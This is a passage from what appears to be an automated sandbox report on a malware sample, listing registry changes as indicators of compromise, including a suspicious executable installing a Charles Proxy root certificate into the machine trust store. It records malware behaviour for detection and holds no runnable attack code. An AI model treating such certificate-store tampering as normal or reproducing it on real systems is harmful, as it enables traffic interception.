Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" app.exe -
Modifies registry class 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = fbb2631bda3ad701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath\dummySetting = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url4 = "https://login.live.com/" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url5 = "https://twitter.com/" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active\{1AE55CAA-E362-42EB-BA87-5DF401454D4B} = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\OneTimeCleanup = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = e13bf403d83ad701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B7216 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 01000000e5cca16c150c5d1b9fca80892e1b05f93d85d9c11933a8117a650812561a7335cc17c1415ecb9ccca1ac68a2c753809cf6970abeac7d3de61010 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 0100000030bb8b61322dcc2a12a35c4345dde5baf05a0a76e65d0c6f0fe1a7159db320faf92744dcd906e0fd2ab6e99c4cc406605346eeef7bbc8a42e566415e6043fa48b4195d21815126a43476e33554dedf45d114275101bdfd1e2dcd MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\AdapterInfo = "vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.0\"hypervisor=\"No Hypervisor (No SLAT)\"" cmd.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies cmd.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Privacy MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{20EP1MI0-142C-L17D-YD26-2GCP283P3KMT} svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\DetectPhoneNumberComplete = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{20EP1MI0-142C-L17D-YD26-2GCP283P3KMT}\1 = "1536" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IETld\LowMic MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\SettingsVersion = "2" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory cmd.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\FontSize = "3" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History cmd.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\AllComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar\WebBrowser MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Revision = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus cmd.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "1" MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{74WP1CM3-506M-V62R-WR42-7MQP227Y2YLP} rundll32.exe -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e filee.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD bXcxvDQ0Jj.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 0300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576 bXcxvDQ0Jj.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 filee.exe -
Runs ping.exe 1 TTPs 2 IoCs
pid Process 5052 PING.EXE 5188 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
